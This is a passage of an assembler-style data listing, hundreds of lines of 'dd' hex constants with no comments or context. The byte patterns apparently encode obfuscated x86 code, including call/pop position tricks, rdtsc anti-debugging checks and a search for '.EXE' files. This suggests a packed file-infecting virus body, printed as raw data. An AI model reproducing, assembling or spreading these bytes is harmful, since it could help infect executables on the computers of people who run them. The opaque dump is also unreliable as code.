		dd 4B1472B7h, 75E69AC9h, 0E24BCEAAh, 36162A79h,	0DBBBC76Dh
		dd 0A5D6A112h, 0BECE6C8Dh, 48364A79h, 92FBCEAAh, 27A8E429h
		dd 9E365C29h, 0E2B1C514h, 0C9953A6h, 0B0FF162Fh, 0D9E58B52h
		dd 7B872DF9h, 0DE844EACh, 0F351A011h, 9979852Bh, 0C3202CD2h
		dd 0E6155A12h, 0C499012Dh, 207E4BB4h, 6A6B258h,	3, 758C54BCh
		dd 0DE3C09AFh, 45A37016h, 0A806D379h, 106E3BE1h, 76D4A147h
		dd 0DC3A07ADh, 3E9C690Fh, 0A301CE74h, 0E86532D8h, 8904EC83h
		dd 0E0892404h, 405h, 4E88300h, 5C240487h, 81E18951h, 4C1h
		dd 4E98300h, 5C240C87h,	57243489h, 0C781E789h, 4, 8704EF83h
		dd 895C243Ch, 0B9512404h, 65259A9h, 0C8BCE89h, 4C48324h
		dd 24048B54h, 5204C483h, 8BAh, 9EEA8100h, 1730013h, 9EC281C2h
		dd 89730013h, 48B5A32h,	0E7895724h, 4C781h, 0C7810000h
		dd 4, 5C243C87h, 5324348Bh, 0C381E389h,	4, 4C381h, 1C870000h
		dd 1AE95C24h, 1AFFFB1Ah, 12B85E58h, 3065265h, 0E9C38BC5h
		dd 15Ch, 9E960h, 71130000h, 6DDC97Eh, 0F46E8E3h, 0E961D0B7h
		dd 0Fh,	4FD5BD12h, 719B0143h, 9B242116h, 8DE6B70Ah, 52664EB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 9AA63082h, 7AE0224Dh, 8830FF3h, 60000000h
		dd 8D0Fh, 8D610000h, 50494D85h,	11870F06h, 0F000000h, 0B88h
		dd 6E900h, 3CF20000h, 0E33B2EE5h, 0C3F8D0FFh, 0FE9h, 0B58D5700h
		dd 0A29061E3h, 0A97C2514h, 8A02186Fh, 0E9D98C66h, 0Dh
		dd 7806102Eh, 0A41EBF46h, 0D268BC9h, 4C1F65Dh, 84840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0E5FF8BC3h, 6F01CFh, 128E0Fh, 0DE90000h
		dd 23000000h, 0CBB4326Fh, 82B9C348h, 0D11A7B6Fh, 2AB86660h
		dd 68B0F3Fh, 0F000000h,	8Ah, 0FB8B6100h, 0C032CB8Bh, 2BFD75AEh
		dd 2BD9F7CFh, 49D78BF9h, 0EBD98Bh, 13F20CDh, 0C00B0001h
		dd 708D1874h, 8BFA8B0Ch, 0A75A6CBh, 0B8FA7549h,	1, 8B09EBh
		dd 0B8E4EBh, 0CF000000h, 0AE9h,	0F3B81800h, 7DB9943Ch
		dd 0E9DFB591h, 0Ch, 502C0D0Fh, 0D69BD0FFh, 53B661D1h, 66D085C7h
		dd 13F0652h, 8D8D0001h,	65267BDh, 0D9D8529h, 8D89064Dh
		dd 64D0599h, 89DFBF0Fh,	4D06DD85h, 1D85C706h, 90064D05h
		dd 8100006Ah, 713700D8h, 0E985C77Bh, 64D02h, 0F000000h
		dd 880h, 858B5300h, 64D2139h, 5B5FF5Ah,	6A064D2Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 80FFC351h, 8B44681Ah, 4D2EA595h, 5595FF06h, 6A064D2Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0E89EC351h, 0D6FEBB66h, 95FF006Ah, 64D0511h
		dd 6AEBC08Bh, 3C699259h, 9F3DF62Ah, 6B9B33DAh, 0DB25CD8Ch
		dd 46F9E4BDh, 5EBC9CEEh, 0BB5662A2h, 0D7FCCA38h, 0ECED296Dh
		dd 0D43DBD6Ah, 0F917793h, 294055B7h, 9821B3Ah, 542EB427h
		dd 81213D38h, 0FFC5831Bh, 5A3E387Fh, 30B5485Dh,	44808933h
		dd 0F72B8B5Ch, 0D1DFEB86h, 369DA8C8h, 0B17D9950h, 86FE4689h
		dd 0C6F273FCh, 0CCCEDB80h, 12E843C9h, 7D000000h, 35F3DFFDh
		dd 1D2181A7h, 0CAAD6F64h, 1A3066DFh, 0C6B70FF8h, 0C181F859h
		dd 71FAh, 12319D8Bh, 5568064Dh,	100001Ch
		dd 4D2C7D9Dh, 9D8B5A06h, 64D2DEDh, 0BE6631FFh, 895F9A87h
		dd 4D3311B5h, 0BFF78106h, 0F3E78D3h, 689h, 95B58900h, 81064D26h
		dd 0F84553C7h, 21BD093Dh, 81064D20h, 54491BF7h,	0DE84Dh
		dd 0F8960000h, 315DADA8h, 51ECA2B8h, 8BA67F8Dh,	4D1B29B5h
		dd 39895E06h, 33399589h, 0E981064Dh, 77B8A033h,	2958B866h
		dd 0A02FC181h, 858B77B8h, 64D0CB1h, 91850F4Ah, 29FFFFFFh
		dd 4D33398Dh, 6011EC06h, 0C481DE9h, 0F9AC6BA5h,	0ED7325F1h
		dd 91374005h, 4072F979h, 38757FFh, 7D873082h, 36263F30h
		dd 427A6747h, 0C18A4223h, 4131AD22h, 401DF53Fh,	405D3830h
		dd 4034F466h, 1E170E30h, 34BE59F3h, 4B68714h, 4022C514h
		dd 1671E030h, 0A92D46F3h, 40373B99h, 0B43AA8Ah,	93880178h
		dd 625EBAB3h, 4F37857Dh, 4037E4B4h, 40240830h, 0C7F47030h
		dd 0C6BD638Bh, 5E951EF0h, 829EF7E1h, 79C4A4D6h,	0A96E7F91h
		dd 4037C245h, 0C0625E56h, 0C5BA7B85h, 466550CBh, 0A8671C5Ah
		dd 40370E33h, 18F45F10h, 4413C7B9h, 441385B1h, 4037E02Dh
		dd 0A7F42070h, 7D4756C0h, 1D003299h, 7A886833h,	208997DCh
		dd 107F5B6Dh, 2BBDED8Ah, 405D704Fh, 40349867h, 1F173830h
		dd 3CBE43F3h, 4B60A14h,	40200314h, 17708330h, 25B4EF3h
		dd 9DB26DCDh, 11312258h, 403735D8h, 40F65030h, 43895C4Dh
		dd 35265879h, 2157B5C6h, 4FA79869h, 4037E5B3h, 8902CF30h
		dd 10674A74h, 4027F562h, 0FF860E30h, 0E72A6523h, 18499D89h
		dd 2C378B32h, 71386BEDh, 0B3BC1660h, 0D06F626Eh, 57AD968Fh
		dd 4DA2F16Bh, 2A314A14h, 43DFD130h, 6037C130h, 0C96D236Ah
		dd 0C1335464h, 57331C74h, 2371C30h, 0B6A9CD62h,	80BC1439h
		dd 0A861835Ah, 4037C133h, 1EF4BE10h, 441304B9h,	44137CB1h
		dd 40371C28h, 0B4F45876h, 0B3A8EB20h, 403793D8h, 33588B30h
		dd 95A8DEC7h, 0DFC85519h, 0C0C06D9Ch, 1A674CD2h, 0FDB45069h
		dd 467A1CE9h, 0C33EF630h, 0D37D08Dh, 5943E036h,	80BC2360h
		dd 40334288h, 35B29530h, 0CD314315h, 0F8012ADh,	1BE47C36h
		dd 518A4268h, 4031AD30h, 13676744h, 40334288h, 35B29530h
		dd 0CD314315h, 0F8303ADh, 1BE47C36h, 1037AB68h,	4037E3D8h
		dd 836F5030h, 6473B168h, 64739D34h, 40371934h, 83674730h
		dd 98485C69h, 1E087367h, 53DF20BBh, 0E377030h, 32B22F5Ah
		dd 6D43819h, 0E8351890h, 858E8B47h, 0C138A8BDh,	4037C136h
		dd 40376B3Fh, 0CD6E7030h, 125FDDADh, 59BF1336h,	0A9370E30h
		dd 40370724h, 0CC8AF0ADh, 9429AE4Fh, 9035CECAh,	896FBB94h
		dd 0E5289D97h, 25D699BDh, 0CD380862h, 40370731h, 4FE77CC9h
		dd 4037D1B6h, 403C0930h, 71D57030h, 0BFC08267h,	0B5F68781h
		dd 4FF705C7h, 403732B4h, 0B9808C30h, 0DD25CBDh,	0F951E67Dh
		dd 438FFAAFh, 20373830h, 40359E3Fh, 18660E30h, 0ED8763h
		dd 0CC38E269h, 4037C137h, 4036633Fh, 0BFC27030h, 712482D3h
		dd 0DDBA3B50h, 466566DDh, 0A862075Ah, 40378333h, 1DF49C10h
		dd 44138CB9h, 441334B1h, 40373825h, 6F44975h, 0A1B28318h
		dd 4F315555h, 403781B0h, 0BFCC4A30h, 17378AE0h,	403773D8h
		dd 83681830h, 644B956Fh, 64738F34h, 40371034h, 8360C430h
		dd 116DBB71h, 4037E5D9h, 5A742230h, 0CD38C1B9h,	40371C30h
		dd 0C438CE3Bh, 40370741h, 0A867835Ah, 4037C133h, 18F4B810h
		dd 441334B9h, 44137CB1h, 40371C2Bh, 0FAF45E70h,	1E95C57Dh
		dd 4F9A7F78h, 4037C6B6h, 41BFEF30h, 0B9377030h,	403BBB3Fh
		dd 0C9381C30h, 40370E36h, 0A857E8B1h, 0DDBA940Ah, 467A8CD5h
		dd 0FDF6618Fh, 0F7381047h, 0A46686C1h, 0F85632F2h, 40370E31h
		dd 40370BD9h, 0E1CF1630h, 0FA6AADB0h, 66F81495h, 0F5D48F29h
		dd 0B2AAB5D8h, 2A314E58h, 43DF5830h, 60370730h,	0C969406Eh
		dd 0C133E544h, 5A33C474h, 6377030h, 0F129FB66h,	0EAF0A1D4h
		dd 42B7018Eh, 0CA370730h, 0A1B20EDCh, 0BF319355h, 8FBC86E0h
		dd 0C438B03Bh, 40373819h, 0CDFFA33Fh, 0D7AEBADh, 4027EE36h
		dd 9D2C8330h, 9064A760h, 0EE8FCDBFh, 0BDFFE37h,	438FED1Fh
		dd 0BF371C30h, 0B1BC5ED3h, 0F7384469h, 9B8A0EFFh, 0CD319358h
		dd 125B1BBDh, 1C4AC836h, 0C504B27Bh, 467A0DA9h,	0A9F6C11Bh
		dd 0DDDDBA32h, 5A466566h, 33A86207h, 10403783h,	0B91DF49Ch
		dd 0B144138Ch, 5E98334h, 0C08BA4F3h, 0F528BE66h, 7D6717BFh
		dd 0E8C38B41h, 0Ch, 60295660h, 0A84B9328h, 0C1ED5C26h
		dd 0DE816657h, 595EE865h, 8B1A7FB9h, 0E8C08B73h, 0Bh, 0D574DC35h
		dd 0D8DD1330h, 8B5E4E4Ah, 0BF0F5EC8h, 0D9BD83D2h, 64D1Bh
		dd 0BD830975h, 64D0011h, 50197400h, 0B8C08B53h,	47Ah, 31A58589h
		dd 9D8D064Dh, 64FB77Ch,	585BD3FFh, 11BD83h, 7400064Dh
		dd 0B8535017h, 47Ah, 31A58589h,	9D8D064Dh, 64FB41Dh, 585BD3FFh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0F7C35242h
		dd 113451D5h, 0A5B5157Ch, 0AE9h, 548EFB00h, 0D65E8858h
		dd 8B4AF39Eh, 11E8C0h, 6F120000h, 770545CBh, 8FC1F563h
		dd 1A2E0294h, 666ACA96h, 8158D38Bh, 6F09C0h, 0FB8B6600h
		dd 890FC933h, 11h, 8E8h, 2C241400h, 97C42719h, 0F9BF0F7Ch
		dd 134FF5Bh, 85CAC781h,	0B25E7B51h, 0D8EE813Dh,	534E11BDh
		dd 5BFE8B66h, 6AABEE81h, 830F45C4h, 5, 154896BFh, 0D0EE816Ah
		dd 0F3EB78Ah, 6056D8B7h, 1FE6B966h, 8048F61h, 83D4DA80h
		dd 0F5201E9h, 38Dh, 0D2BF0F00h,	4949495Fh, 11E8h, 0E1706200h
		dd 44F57C71h, 0FEB8DD33h, 0F74B9000h, 820F27A6h, 4, 6527BF66h
		dd 0D4F9815Fh, 0FFFFF91h, 0C85h, 29E900h, 28340000h, 12EF0C77h
		dd 128B0F60h, 0E8000000h, 0Bh, 8E009C72h, 5864B853h, 0F52C5878h
		dd 0FF5BE95Fh, 8E5FFFFFh, 0E9D5F230h, 266h, 0D98C6660h
		dd 0F04C1F6h, 3584h, 0FF016A00h, 4D1431B5h, 0D7858D06h
		dd 0FF065075h, 0C18589D0h, 8B064D1Fh, 0CEFC1FEh, 6000068h
		dd 6A006A20h, 0D685702h, 0FF000100h, 4D1FC195h,	32E906h
		dd 85C60000h, 64D26E5h,	30DF6856h, 0B5FFA9C5h, 64D0B29h
		dd 75D7858Dh, 0D0FF0650h, 2F6D8589h, 858D064Dh,	64D2EE5h
		dd 6A406A50h, 95FF5605h, 64D2F6Dh, 0C361h, 2 dup(0)
		dd 8B520000h, 428B60D4h, 44858908h, 8B06526Fh, 85890C42h
		dd 6526F3Ch, 8910428Bh,	526F4085h, 7AB58D06h, 8D06526Fh
		dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 6F44B58Bh, 858B0652h
		dd 6526F3Ch, 6F40BD83h,	0F000652h, 784h, 0E9068900h, 2
		dd 0CF0688h, 0
		dd 52000000h, 8B60D48Bh, 85890842h, 6526F44h, 6FCBB58Dh
		dd 858D0652h, 5B7E35h, 5A61D0FFh, 6F44858Bh, 4C20652h
		dd 44858B00h, 8B06526Fh, 44858900h, 0CF06526Fh,	0
		dd 0A1B58960h, 8906526Fh, 526F9D85h, 99858D06h,	8B064D12h
		dd 85894440h, 6526FDAh,	7010B58Dh, 858D0652h, 5B7E35h
		dd 8B61D0FFh, 526FA185h, 9D8BC306h, 6526F9Dh, 3C43B70Fh
		dd 5B8BD803h, 9D9D0378h, 8B06526Fh, 0B5032473h,	6526F9Dh
		dd 207B8B56h, 31C738Bh,	526F9DBDh, 9DB50306h, 0FC06526Fh
		dd 41FFC983h, 6FA19D8Bh, 178B0652h, 6F9D9503h, 0C7830652h
		dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h,	43FFFFFFh
		dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h
		dd 86048B0Fh, 6F9D8503h, 85890652h, 6526FA1h, 0CE8BF08Bh
		dd 0BD81C18Bh, 6526FDAh, 0C0300000h, 0D850Fh, 0E8C10000h
		dd 0FFC2514h, 8E90000h,	0C1000000h, 0F82512E8h,	8B00003Fh
		dd 526FDABDh, 70C8306h,	7148B06h, 8124C28Bh, 0C18B813Ch
		dd 57840Fh, 0BD810000h,	6526FDAh, 0C0300000h, 0D850Fh
		dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h
		dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h
		dd 81000000h, 526FDABDh, 30000006h, 0E840FC0h, 25000000h
		dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 6526F48h,	11F58589h
		dd 858D064Dh, 6526FDEh,	152D8589h, 858D064Dh, 6526FA5h
		dd 22358589h, 8D8D064Dh, 6527255h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0D2C35343h,	703542F4h, 66B85F5Ah
		dd 0B3FDEE81h, 5998D89h, 6A064Dh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 830A3FC3h, 5F566060h
		dd 633312B8h, 8E86169h,	0B7000000h, 0F8D9BA99h,	0BFCEE215h
		dd 13D726ECh, 85C7615Ah, 64D051Dh, 6A38h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ah, 0ECC35040h, 0DEC0D249h
		dd 8D890AACh, 64D0315h,	2E985C7h, 64Dh,	95290000h, 64D0EB5h
		dd 25F9B5FFh, 6A064Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0E001CC3h, 1786FB1Dh, 0E98BFD11h
		dd 0Ah,	99CCFECCh, 0A6E40471h, 95FFA606h, 64D2E55h, 21B5BD2Bh
		dd 8501064Dh, 64D226Dh,	95FF006Ah, 64D0511h, 2CEBC08Bh
		dd 8AE43885h, 0C8AB1049h, 18F9AE72h, 0C6D21F5Ch, 1A81BEE0h
		dd 490E743Fh, 1B306D7Ch, 4651D700h, 150AC1F6h, 992D563Ch
		dd 0C611BE70h, 13CE9h, 4Fh dup(0)
		dd 79BD8300h, 1064D2Ch,	669840Fh, 9E90000h, 0FB000000h
		dd 71E3C52Fh, 88687EAEh, 8E9h, 6E473F00h, 6A9C5DDh, 0E585C6F7h
		dd 43064D26h, 3830F60h,	80000000h, 0E86103E5h, 4, 0ECA5D0F5h
		dd 9E860h, 0FE530000h, 14D3AB09h, 50C6A714h, 5A310F52h
		dd 8B665958h, 605061FEh, 5051D38Bh, 5A310F52h, 8B615958h
		dd 0F042444h, 1189h, 0CE900h, 0C7C40000h, 0E107A70Bh, 1E83DEh
		dd 8B61F0h, 61605160h, 61C18B5Bh, 4244489h, 9E9h, 0BBE40700h
		dd 91B6FFC6h, 6058D038h, 8E30EF81h, 0BE90ABCh, 3D000000h
		dd 9768030Fh, 96D32DC0h, 0FF617751h, 4D0B29B5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0C58E9AA1h, 1E830F1Ch, 0F000000h, 1885h, 13E900h, 0EF790000h
		dd 9EC10299h, 0F1986244h, 29DA1DA7h, 449CD61Ch,	0D7858D38h
		dd 6A065075h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0C094C352h, 14E91580h,	0FC000000h
		dd 0F4C088CAh, 0FD4B66F8h, 34F6D38Dh, 5B9C1B5Ch, 0FF7BCBA5h
		dd 8589FCD0h, 64D25C1h,	7E960h,	52AB0000h, 17F20A8Ch, 78F081DDh
		dd 613EF7B1h, 26E585C6h, 0F50064Dh, 885h, 28E0F00h, 60000000h
		dd 975B6861h, 0B360B5C9h, 348161F8h, 643A0D24h,	8E91Dh
		dd 66130000h, 7680CB6Ch, 0B5FFEB85h, 64D0B29h, 0D7858DF5h
		dd 0E9065075h, 11h, 88612B0Dh, 3B80E621h, 0A99C518Dh, 53C6D74Fh
		dd 0D0FFFC30h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0F7C35545h, 0F468D6Eh, 0A88h, 5E900h, 2BF60000h
		dd 8956B070h, 4D054185h, 0DE906h, 49DC0000h, 0DF72AB62h
		dd 0CF00E35Eh, 0E8EC2AF2h, 4, 0F08FA82Fh, 5E9h,	0DECE9D00h
		dd 60504FD2h, 0FDACBE66h, 10E8h, 9FBB0B00h, 30526748h
		dd 0E86448D6h, 0D3F28EB1h, 8B61594Dh, 0E9042444h, 11h
		dd 0D906A34Bh, 7ED11D7Ch, 0FCAC1829h, 0DA7B2FD1h, 60008BA7h
		dd 0AE95250h, 1000000h,	9D2D9295h, 573ABD29h, 50310F7Dh
		dd 5A310F52h, 0E9585A58h, 0Ah, 8EDF2232h, 0ACABA4B0h, 8961D741h
		dd 0F042444h, 1E81h, 10E86000h,	29000000h, 0CA151033h
		dd 7A47DBD7h, 0AF522E0h, 5B6FD6C1h, 310F5250h, 5861585Ah
		dd 29B5FFF8h, 0F9064D0Bh, 0D7858DF5h, 6A065075h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 560CC356h, 0F713F3Dh, 181h, 0D0FFF900h, 13E9h, 98231300h
		dd 66BF1E88h, 0BED0E10h, 8F5ED315h, 1BC7544Bh, 2E2D8589h
		dd 7E9064Dh, 0D8000000h, 9FE5CF89h, 85C60432h, 64D26E5h
		dd 0DE96050h, 0B2000000h, 4A8804E5h, 483DC91Eh,	0FD197215h
		dd 676432BAh, 5E96130h,	5C000000h, 0A71181F7h, 4E8h, 9CDC5600h
		dd 0E9525097h, 8, 1E60CF5Eh, 0CEFEBE07h, 0BA60310Fh, 3574D515h
		dd 5A61CF8Ah, 52505058h, 52505250h, 585A310Fh, 6160310Fh
		dd 310F585Ah, 0BE9h, 592AC100h,	58CAAC9Eh, 0DAE867AEh
		dd 448B585Ah, 0B8600424h, 5DF1B3E0h, 0E9008B61h, 0Bh, 0E0D5E449h
		dd 0F7FD25F7h, 89956C98h, 0F042444h, 1E8Ch, 11E86000h
		dd 33000000h, 3F6DE5D5h, 0A6E2BDA1h, 0D5467E64h, 0CBC42B1Ah
		dd 0F751BB5Eh, 58617C08h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 80C35747h, 6660195Bh,	2CF0C281h, 18F0Fh
		dd 61F50000h, 31B5FFF5h, 60064D14h, 66E6F180h, 61622EBFh
		dd 3906858Dh, 6A064Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 3D80D8C3h, 5DA2FB39h, 0F56FB3C0h
		dd 0A810Fh, 8B600000h, 820FF7h,	61000000h, 0F9F9D0FFh
		dd 1B9D8589h, 5760064Dh, 12E9h,	0B9D6D300h, 945FA69Fh
		dd 9124A712h, 0A6C2E97Eh, 5F9DAA44h, 61C6BF0Fh,	216E9h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 558F0858h, 576060C8h, 0EE95Bh, 43070000h
		dd 0AAA102B9h, 0D4E81108h, 4B693B5Ch, 0CE961h, 0A0CE0000h
		dd 5612FD0Eh, 0B60C902Bh, 956148D0h, 0E9525060h, 10h, 0C246E524h
		dd 0C33FBFADh, 8DB49C66h, 0FDD8B6A4h, 585A310Fh, 58515250h
		dd 0F18B310Fh, 5061585Ah, 12850Fh, 66600000h, 8E9D88Bh
		dd 24000000h, 84D0225Dh, 613A1D47h, 12E86095h, 0EB000000h
		dd 0D7F44D8Ch, 6191B1D5h, 0FC297AF6h, 4CC5BEBCh, 11E8FCh
		dd 0D78E0000h, 0E4506B3Fh, 0E0EB5122h, 0CEFB25ADh, 5B42DAACh
		dd 9E958h, 79FC0000h, 7EC383Dh,	61A77A6Ch, 8A0FEC8Bh, 0Fh
		dd 6E960h, 6E080000h, 5ABAD0F8h, 83615853h, 6AFCC4h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0F70890C3h, 0FC168BDh, 0A8Ch, 5E900h, 8E0A0000h, 60380EF5h
		dd 0D3816660h, 9E980DBh, 17000000h, 0A2C1DEAFh,	0EEA3735Bh
		dd 0E861h, 815A0000h, 527958EAh, 0FC45C706h, 0
		dd 2C79BA83h, 0F01064Dh, 9884h,	6A5200h, 92FF0F6Ah, 64D25C1h
		dd 8B82895Ah, 8D065272h, 52728F9Ah, 3C75206h, 128h, 92FF5053h
		dd 64D0541h, 9A8D525Ah,	652728Fh, 8BB2FF53h, 0FF065272h
		dd 4D1B9D92h, 0C00B5A06h, 9A8D5074h, 652728Fh, 33247B8Dh
		dd 4F981C9h, 74000001h,	3C8141D4h, 58452E39h, 8DEE7545h
		dd 752B3934h, 85BA8D0Ch, 8B064D18h, 0A4F30C4Dh,	52AAC032h
		dd 8D0875FFh, 4D188582h, 92FF5006h, 64D2E2Dh, 75C00B5Ah
		dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh
		dd 8BB86000h, 6018F016h, 0E909E680h, 0Ah, 0BDC007E0h, 53568A8Bh
		dd 61614740h, 0AE9h, 0ED76B800h, 13409F43h, 8B353EEDh
		dd 10E8D2h, 0C4A40000h,	91DB79B2h, 5C53926Bh, 82608308h
		dd 0DE824D0h, 0B5000000h, 2BD531D0h, 0A49A1749h, 5E96F615h
		dd 8B665B5Eh, 0F2C381C2h, 60000067h, 0AE9h, 0FCD08A00h
		dd 0FA2CAF95h, 81D68356h, 67CCA2D3h, 686139h, 0E9000000h
		dd 0Eh,	64C7D706h, 66F2D389h, 8834426Dh, 0F85F9F9Ah, 0E93B0C8Bh
		dd 0Fh,	0E84E2CE3h, 5598460Bh, 90B89FABh, 815B7393h, 4B60E6F1h
		dd 58D0F67h, 66000000h,	6644EA81h, 0BD96C181h, 8E0F4190h
		dd 3, 81F7B70Fh, 0C1350EF1h, 12810F2Ch,	0E9000000h, 0Dh
		dd 33F63807h, 0E3F77EF7h, 9D34BDABh, 860F516Ah,	7, 0C6BF0F60h
		dd 8F616160h, 880F3B04h, 4, 44E7BE66h, 8104EF83h, 0FF98F0FFh
		dd 81850FFFh, 0FFFFFFFh, 386h, 64C08000h, 7BF28D8Dh, 6A0652h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 835ABCC3h, 76B86660h, 0F68166D7h, 8961AB6Fh,	4D05998Dh
		dd 0C7A3B706h, 4D051D85h, 65A406h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 24788433h
		dd 85C78980h, 64D02E9h,	0
		dd 6830Fh, 858B0000h, 64D0D45h,	227DB5FFh, 6A064Dh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 3AA8EFC3h, 1C084F94h, 0BB668A87h, 66509236h,	5B2C76BAh
		dd 2B219D8Bh, 95FF064Dh, 64D2E55h, 3820Fh, 0E2800000h
		dd 0FF006AB8h, 4D051195h, 0EBC08B06h, 0EB6B1869h, 0B96020C2h
		dd 0D32E0DB1h, 43D60DE9h, 291F79FEh, 1426F0AFh,	0FD63FF19h
		dd 1B2B0FD5h, 7F66A4BDh, 11C49959h, 7193AEECh, 80959FFEh
		dd 0F161D2D0h, 0C03EFEAEh, 87B6FD8Ah, 0A03CBF34h, 26667D6Ch
		dd 0E24713B2h, 0AE115658h, 0FBCD32DEh, 0BFB5F1D6h, 5A966AF7h
		dd 55DD3E45h, 1C9FAFDEh, 52B0AC8Ch, 0B4E01C53h,	8EB24A1h
		dd 1EDCB4C1h, 77E7339Ch, 0DE2E9h, 7E106800h, 4AE90652h
		dd 68FFFB03h, 6527EFFh,	0FB0340E9h, 80B368FFh, 36E90652h
		dd 68FFFB03h, 65281F7h,	0FB032CE9h, 83AE68FFh, 22E90652h
		dd 68FFFB03h, 6528630h,	0FB0318E9h, 87C068FFh, 0EE90652h
		dd 68FFFB03h, 65288D1h,	0FB0304E9h, 0C86E34FFh,	6B11DCBCh
		dd 0FB57F5Fh, 0B0562303h, 55FBC4A4h, 0F0A14749h, 95758127h
		dd 3C1C28CEh, 0DEBECA70h, 0CD647016h, 0A4AFD100h, 7782D4FCh
		dd 1AAD7537h, 0FC41AA50h, 926EADC0h, 55A4B74Ah,	0C75A2280h
		dd 0E21156FCh, 0DB4E319Eh, 7CC12A93h, 3180002Fh, 48B1DB4Eh
		dd 4D88E5F9h, 316C1443h, 5CC5DB4Eh, 4C7FAEF3h, 5D1374Eh
		dd 0D4A0CF9Ch, 0ACD50115h, 96F4063Eh, 0FE5C29CFh, 0D3228B31h
		dd 5835D56Dh, 5302B6h, 86400000h, 6AB95F28h, 0E126468Fh
		dd 7524CEA5h, 62B1B099h, 289DE615h, 3BA4D137h, 28353F6Eh
		dd 0FC4BD501h, 2150D29Eh, 0D501285Fh, 330069D2h, 324E7DC2h
		dd 0FFD50128h, 69DB4796h, 0EC5D2987h, 0ECCA3E95h, 8D53E5Eh
		dd 40E24897h, 77B65B0Bh, 0B8h, 5C2886B5h, 2978E9B6h, 0DE9203CBh
		dd 1A1A655Fh, 0E9B87A49h, 0A71004FEh, 4A13713Eh, 0B179D7A4h
		dd 18E03E0Bh, 0EB56672h, 0A8DB4E7Bh, 512F5EE0h,	0E0DB4E70h
		dd 22020E77h, 5A00C75Ah, 8C4924F1h, 1F4E9BE0h, 0DB4E7061h
		dd 0CB1867D0h, 3797539Ch, 4955BED1h, 3E83E9ECh,	0F202800Fh
		dd 2368D1CAh, 4A56FCC5h, 440EA16Ah, 171D359Eh, 0B5987E51h
		dd 0B90C2E0h, 0BF850000h, 622D0D19h, 6D0B0BCh, 0A7745460h
		dd 4C15F501h, 10989AA6h, 0C4D0763Fh, 6B771DE4h,	0D19BF8Bh
		dd 0B3BF652Dh, 60204F1Ch, 0D1D4FCA2h, 0AC7586C6h, 521AFA06h
		dd 95D1A0ACh, 0EC5A2BEh, 29F14097h, 4A8FDDF8h, 0B17E24ECh
		dd 75A4F140h, 0D138210Eh, 0B0FDCA33h, 1A5B4574h, 0A3F2C818h
		dd 1390074h, 521280D5h,	5BAA9FA7h, 0B83CB6h, 757A0000h
		dd 0DC3A07ADh, 0EB48013h, 9A67D041h, 8228EF4Dh,	25BF0433h
		dd 2FF7DB4Fh, 0D59D7D89h, 4E87622Fh, 1B6D1342h,	3E5BDB4Fh
		dd 34B0E1EEh, 0FD66CF9Ah, 0EC925AB8h, 0FB3428B8h, 0D8273803h
		dd 0C2F13E8Bh, 0DB4ED2BEh, 8CBB0A73h, 0D137F963h, 0A20045AEh
		dd 0CDE130D6h, 0C2076570h, 0F261ED93h, 96DB44CAh, 0B3CDFC49h
		dd 7ECEB1F9h, 9F68C615h, 440DEDF9h, 0FAE8869Eh,	3F14987Eh
		dd 0AA121h, 8AE7400h, 0AB511CFCh, 4FF5BF9Fh, 0F0966343h
		dd 953B04E4h, 30618789h, 0D5B5C167h, 7C5C680Eh,	1EFE0AB0h
		dd 0DA4B056h, 0A26F1140h, 0B7C2D4FCh, 6AC7577h,	0AC521AFAh
		dd 4A8656A0h, 0E866C5DDh, 4AA75DDh, 0E5DC637h, 7542E8B0h
		dd 0F4BC4F17h, 0AD9E54Eh, 6DF28EBDh, 0D63FDB4Eh, 4329AC87h
		dd 3275B1FEh, 7F25EFC2h, 290D41B2h, 83B2016Bh, 0D137F770h
		dd 680ED937h, 10DD4619h, 1D192E1h, 0B53704D5h, 1D1FA86h
		dd 65CE37D5h, 0CC723A98h, 4AFADEFFh, 0BAAA1884h, 5B71273Fh
		dd 0B5B3EFB6h, 29478ECCh, 1BEC54A3h, 2A000007h,	4A8FDDF8h
		dd 382CF01Bh, 400B61D1h, 0F35CCD9Ah, 147DF726h,	0B403D502h
		dd 1BE88E56h, 75EF5BAAh, 5B32F88Ah, 0F5FE3AB6h,	0B95F2C60h
		dd 2133E985h, 6E46AD2h,	0C5230000h, 0DF0E53F9h,	0D501CCA1h
